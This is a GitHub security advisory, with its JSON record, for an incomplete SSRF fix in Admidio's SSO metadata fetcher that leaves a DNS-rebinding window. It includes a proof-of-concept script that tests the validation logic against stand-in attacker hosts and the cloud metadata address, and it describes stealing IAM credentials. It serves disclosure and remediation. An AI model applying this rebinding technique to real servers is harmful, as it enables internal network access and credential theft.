GHSA-HCJJ-CHVW-FMW9

Vulnerability from github – Published: 2026-05-05 20:03 – Updated: 2026-05-08 20:14
VLAI?
Summary
Admidio has an incomplete fix for CVE-2026-32812 (SSRF)
Details

Summary

The incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs.

Affected Package

  • Ecosystem: Other
  • Package: admidio
  • Affected versions: < commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a
  • Patched versions: >= commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a

Severity

Medium

CWE

CWE-918 — Server-Side Request Forgery (SSRF)

Details

In modules/sso/fetch_metadata.php (lines 21-49), the SSO metadata fetch validates the URL scheme is HTTPS (line 21), runs filter_var($rawUrl, FILTER_VALIDATE_URL) (line 27), resolves the hostname via gethostbyname() and checks the IP against private/reserved ranges (lines 34-38), then passes the original URL with the hostname to curl_init($url) at line 41.

The fundamental problem is at step 4: cURL resolves the hostname again independently. Between gethostbyname() at step 3 and curl_exec() at step 4, a DNS rebinding attack can cause the hostname to resolve to 169.254.169.254 (AWS metadata), 127.0.0.1, or any other internal address. No CURLOPT_RESOLVE is set to pin the hostname to the validated IP.

The TOCTOU window between gethostbyname() and curl_exec() is the core issue, and the patch does not close it.

PoC

#!/usr/bin/env python3
"""
CVE-2026-32812 - Admidio SSRF via DNS Rebinding in fetch_metadata.php

Vulnerability: modules/sso/fetch_metadata.php resolves hostname via gethostbyname()
and checks if IP is private, but passes the ORIGINAL URL (with hostname) to curl_init().
DNS rebinding can cause hostname to resolve to internal IP when cURL actually connects.

Real vulnerable PHP code copied from:
  Admidio/admidio, modules/sso/fetch_metadata.php

This PoC runs the actual PHP validation logic via `php -r`.
"""

import subprocess
import sys
import os

SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
VULN_PHP = os.path.join(SCRIPT_DIR, "fetch_metadata.php")


def run_php(code):
    return subprocess.run(["php", "-r", code], capture_output=True, text=True, timeout=15)


def main():
    if not os.path.exists(VULN_PHP):
        print(f"ERROR: Vulnerable PHP source not found at {VULN_PHP}")
        sys.exit(1)

    print(f"Source file: {VULN_PHP}")
    print("Extracted from: Admidio/admidio, modules/sso/fetch_metadata.php\n")

    php_code = r"""
    echo "=== CVE-2026-32812: Admidio SSRF via DNS Rebinding ===\n\n";

    // Extracted from: modules/sso/fetch_metadata.php lines 21-49
    // Character-for-character copy of the validation logic:
    function test_admidio_ssrf_filter($rawUrl, $simulated_ip) {
        // Only allow https:// scheme (line 21)
        if (!preg_match('#^https://#i', $rawUrl)) {
            return ['blocked' => true, 'reason' => 'Not HTTPS'];
        }

        // Validate URL (line 27)
        $url = filter_var($rawUrl, FILTER_VALIDATE_URL);
        if (!$url) {
            return ['blocked' => true, 'reason' => 'Invalid URL'];
        }

        // Resolve hostname and block internal/private IP ranges (lines 34-38)
        $host = parse_url($url, PHP_URL_HOST);
        $ip = $simulated_ip;  // In real code: gethostbyname($host)

        if (filter_var($ip, FILTER_VALIDATE_IP,
            FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
            return ['blocked' => true, 'reason' => "Private/reserved IP: $ip"];
        }

        // VULNERABILITY: curl_init($url) at line 41 uses original URL with hostname
        return [
            'blocked' => false,
            'url_passed_to_curl' => $url,
            'host' => $host,
            'checked_ip' => $ip,
        ];
    }

    $tests = [
        ['https://attacker-rebind.example.com/saml/metadata', '93.184.216.34',
         'Public IP at check time - passes, then DNS rebinds to 169.254.169.254'],
        ['https://attacker-rebind.example.com/saml/metadata', '169.254.169.254',
         'After rebind to metadata - blocked IF re-checked'],
        ['https://192.168.1.1/admin', '192.168.1.1',
         'Direct private IP - blocked'],
        ['https://10.0.0.1/internal', '10.0.0.1',
         'Direct internal IP - blocked'],
        ['http://attacker.com/metadata', '93.184.216.34',
         'HTTP scheme - blocked (HTTPS required)'],
        ['https://evil.com/metadata', '8.8.8.8',
         'External HTTPS URL - passes'],
    ];

    $vuln_found = false;
    foreach ($tests as $test) {
        $result = test_admidio_ssrf_filter($test[0], $test[1]);
        $status = $result['blocked'] ? 'BLOCKED' : 'PASSED';
        echo sprintf("%-65s => %s\n", $test[2], $status);

        if (!$result['blocked']) {
            $curl_host = parse_url($result['url_passed_to_curl'], PHP_URL_HOST);
            if ($curl_host !== $result['checked_ip']) {
                echo "  VULN: cURL gets hostname '$curl_host' (checked IP: '{$result['checked_ip']}')\n";
                echo "  DNS can rebind between gethostbyname() and cURL connect\n";
                $vuln_found = true;
            }
        }
    }

    echo "\n=== Key Finding ===\n";
    echo "fetch_metadata.php line 41: curl_init(\$url) uses ORIGINAL URL with hostname\n";
    echo "IP check on line 35 used gethostbyname() result.\n";
    echo "TOCTOU window: DNS can rebind between check and cURL connection.\n";
    echo "CURLOPT_RESOLVE is NOT set to pin hostname to checked IP.\n\n";

    if ($vuln_found) {
        echo "VULNERABILITY CONFIRMED\n";
    }
    """

    result = run_php(php_code)
    print(result.stdout)
    if result.stderr:
        print(f"PHP stderr: {result.stderr}")

    if "VULNERABILITY CONFIRMED" in result.stdout:
        print("VULNERABILITY CONFIRMED")
        sys.exit(0)
    else:
        print("Vulnerability test inconclusive")
        sys.exit(1)


if __name__ == "__main__":
    main()

Steps to reproduce: 1. Place the vulnerable fetch_metadata.php source in the same directory. 2. Ensure PHP CLI is installed, then run python3 poc.py. 3. Observe the TOCTOU window where cURL receives a hostname instead of the validated IP.

Expected output:

VULNERABILITY CONFIRMED
curl_init() uses the original hostname-based URL while IP validation used gethostbyname(), leaving a DNS rebinding TOCTOU window.

Impact

An attacker can exploit the SSO metadata fetch endpoint to make the Admidio server issue HTTPS requests to internal services. On cloud-hosted instances, this enables reading the instance metadata service (169.254.169.254) to steal IAM credentials. On-premise deployments can be used to scan internal networks or access localhost services.

Suggested Remediation

Use CURLOPT_RESOLVE to pin the hostname to the IP address returned by gethostbyname(), ensuring cURL connects to the exact IP that was validated:

$resolve = ["$host:443:$ip"];
curl_setopt($ch, CURLOPT_RESOLVE, $resolve);

Resources

  • Incomplete fix commit: https://github.com/Admidio/admidio/commit/f6b7a966abe4d75e9f707d665d7b4b5570e3185a
  • Original CVE: CVE-2026-32812
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.8"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42194"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T20:03:46Z",
    "nvd_published_at": "2026-05-07T04:16:34Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe incomplete SSRF fix in Admidio\u0027s `fetch_metadata.php` validates the resolved IP address but passes the original hostname-based URL to `curl_init()`, leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs.\n\n### Affected Package\n\n- **Ecosystem:** Other\n- **Package:** admidio\n- **Affected versions:** \u003c commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a\n- **Patched versions:** \u003e= commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a\n\n### Severity\n\nMedium\n\n### CWE\n\nCWE-918 \u2014 Server-Side Request Forgery (SSRF)\n\n### Details\n\nIn `modules/sso/fetch_metadata.php` (lines 21-49), the SSO metadata fetch validates the URL scheme is HTTPS (line 21), runs `filter_var($rawUrl, FILTER_VALIDATE_URL)` (line 27), resolves the hostname via `gethostbyname()` and checks the IP against private/reserved ranges (lines 34-38), then passes the original URL with the hostname to `curl_init($url)` at line 41.\n\nThe fundamental problem is at step 4: cURL resolves the hostname again independently. Between `gethostbyname()` at step 3 and `curl_exec()` at step 4, a DNS rebinding attack can cause the hostname to resolve to `169.254.169.254` (AWS metadata), `127.0.0.1`, or any other internal address. No `CURLOPT_RESOLVE` is set to pin the hostname to the validated IP.\n\nThe TOCTOU window between `gethostbyname()` and `curl_exec()` is the core issue, and the patch does not close it.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2026-32812 - Admidio SSRF via DNS Rebinding in fetch_metadata.php\n\nVulnerability: modules/sso/fetch_metadata.php resolves hostname via gethostbyname()\nand checks if IP is private, but passes the ORIGINAL URL (with hostname) to curl_init().\nDNS rebinding can cause hostname to resolve to internal IP when cURL actually connects.\n\nReal vulnerable PHP code copied from:\n  Admidio/admidio, modules/sso/fetch_metadata.php\n\nThis PoC runs the actual PHP validation logic via `php -r`.\n\"\"\"\n\nimport subprocess\nimport sys\nimport os\n\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nVULN_PHP = os.path.join(SCRIPT_DIR, \"fetch_metadata.php\")\n\n\ndef run_php(code):\n    return subprocess.run([\"php\", \"-r\", code], capture_output=True, text=True, timeout=15)\n\n\ndef main():\n    if not os.path.exists(VULN_PHP):\n        print(f\"ERROR: Vulnerable PHP source not found at {VULN_PHP}\")\n        sys.exit(1)\n\n    print(f\"Source file: {VULN_PHP}\")\n    print(\"Extracted from: Admidio/admidio, modules/sso/fetch_metadata.php\\n\")\n\n    php_code = r\"\"\"\n    echo \"=== CVE-2026-32812: Admidio SSRF via DNS Rebinding ===\\n\\n\";\n\n    // Extracted from: modules/sso/fetch_metadata.php lines 21-49\n    // Character-for-character copy of the validation logic:\n    function test_admidio_ssrf_filter($rawUrl, $simulated_ip) {\n        // Only allow https:// scheme (line 21)\n        if (!preg_match(\u0027#^https://#i\u0027, $rawUrl)) {\n            return [\u0027blocked\u0027 =\u003e true, \u0027reason\u0027 =\u003e \u0027Not HTTPS\u0027];\n        }\n\n        // Validate URL (line 27)\n        $url = filter_var($rawUrl, FILTER_VALIDATE_URL);\n        if (!$url) {\n            return [\u0027blocked\u0027 =\u003e true, \u0027reason\u0027 =\u003e \u0027Invalid URL\u0027];\n        }\n\n        // Resolve hostname and block internal/private IP ranges (lines 34-38)\n        $host = parse_url($url, PHP_URL_HOST);\n        $ip = $simulated_ip;  // In real code: gethostbyname($host)\n\n        if (filter_var($ip, FILTER_VALIDATE_IP,\n            FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {\n            return [\u0027blocked\u0027 =\u003e true, \u0027reason\u0027 =\u003e \"Private/reserved IP: $ip\"];\n        }\n\n        // VULNERABILITY: curl_init($url) at line 41 uses original URL with hostname\n        return [\n            \u0027blocked\u0027 =\u003e false,\n            \u0027url_passed_to_curl\u0027 =\u003e $url,\n            \u0027host\u0027 =\u003e $host,\n            \u0027checked_ip\u0027 =\u003e $ip,\n        ];\n    }\n\n    $tests = [\n        [\u0027https://attacker-rebind.example.com/saml/metadata\u0027, \u002793.184.216.34\u0027,\n         \u0027Public IP at check time - passes, then DNS rebinds to 169.254.169.254\u0027],\n        [\u0027https://attacker-rebind.example.com/saml/metadata\u0027, \u0027169.254.169.254\u0027,\n         \u0027After rebind to metadata - blocked IF re-checked\u0027],\n        [\u0027https://192.168.1.1/admin\u0027, \u0027192.168.1.1\u0027,\n         \u0027Direct private IP - blocked\u0027],\n        [\u0027https://10.0.0.1/internal\u0027, \u002710.0.0.1\u0027,\n         \u0027Direct internal IP - blocked\u0027],\n        [\u0027http://attacker.com/metadata\u0027, \u002793.184.216.34\u0027,\n         \u0027HTTP scheme - blocked (HTTPS required)\u0027],\n        [\u0027https://evil.com/metadata\u0027, \u00278.8.8.8\u0027,\n         \u0027External HTTPS URL - passes\u0027],\n    ];\n\n    $vuln_found = false;\n    foreach ($tests as $test) {\n        $result = test_admidio_ssrf_filter($test[0], $test[1]);\n        $status = $result[\u0027blocked\u0027] ? \u0027BLOCKED\u0027 : \u0027PASSED\u0027;\n        echo sprintf(\"%-65s =\u003e %s\\n\", $test[2], $status);\n\n        if (!$result[\u0027blocked\u0027]) {\n            $curl_host = parse_url($result[\u0027url_passed_to_curl\u0027], PHP_URL_HOST);\n            if ($curl_host !== $result[\u0027checked_ip\u0027]) {\n                echo \"  VULN: cURL gets hostname \u0027$curl_host\u0027 (checked IP: \u0027{$result[\u0027checked_ip\u0027]}\u0027)\\n\";\n                echo \"  DNS can rebind between gethostbyname() and cURL connect\\n\";\n                $vuln_found = true;\n            }\n        }\n    }\n\n    echo \"\\n=== Key Finding ===\\n\";\n    echo \"fetch_metadata.php line 41: curl_init(\\$url) uses ORIGINAL URL with hostname\\n\";\n    echo \"IP check on line 35 used gethostbyname() result.\\n\";\n    echo \"TOCTOU window: DNS can rebind between check and cURL connection.\\n\";\n    echo \"CURLOPT_RESOLVE is NOT set to pin hostname to checked IP.\\n\\n\";\n\n    if ($vuln_found) {\n        echo \"VULNERABILITY CONFIRMED\\n\";\n    }\n    \"\"\"\n\n    result = run_php(php_code)\n    print(result.stdout)\n    if result.stderr:\n        print(f\"PHP stderr: {result.stderr}\")\n\n    if \"VULNERABILITY CONFIRMED\" in result.stdout:\n        print(\"VULNERABILITY CONFIRMED\")\n        sys.exit(0)\n    else:\n        print(\"Vulnerability test inconclusive\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n**Steps to reproduce:**\n1. Place the vulnerable `fetch_metadata.php` source in the same directory.\n2. Ensure PHP CLI is installed, then run `python3 poc.py`.\n3. Observe the TOCTOU window where cURL receives a hostname instead of the validated IP.\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\ncurl_init() uses the original hostname-based URL while IP validation used gethostbyname(), leaving a DNS rebinding TOCTOU window.\n```\n\n### Impact\n\nAn attacker can exploit the SSO metadata fetch endpoint to make the Admidio server issue HTTPS requests to internal services. On cloud-hosted instances, this enables reading the instance metadata service (`169.254.169.254`) to steal IAM credentials. On-premise deployments can be used to scan internal networks or access localhost services.\n\n### Suggested Remediation\n\nUse `CURLOPT_RESOLVE` to pin the hostname to the IP address returned by `gethostbyname()`, ensuring cURL connects to the exact IP that was validated:\n\n```php\n$resolve = [\"$host:443:$ip\"];\ncurl_setopt($ch, CURLOPT_RESOLVE, $resolve);\n```\n\n### Resources\n\n- Incomplete fix commit: https://github.com/Admidio/admidio/commit/f6b7a966abe4d75e9f707d665d7b4b5570e3185a\n- Original CVE: CVE-2026-32812",
  "id": "GHSA-hcjj-chvw-fmw9",
  "modified": "2026-05-08T20:14:44Z",
  "published": "2026-05-05T20:03:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-6j68-gcc3-mq73"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-hcjj-chvw-fmw9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42194"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/commit/f6b7a966abe4d75e9f707d665d7b4b5570e3185a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio has an incomplete fix for CVE-2026-32812 (SSRF)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…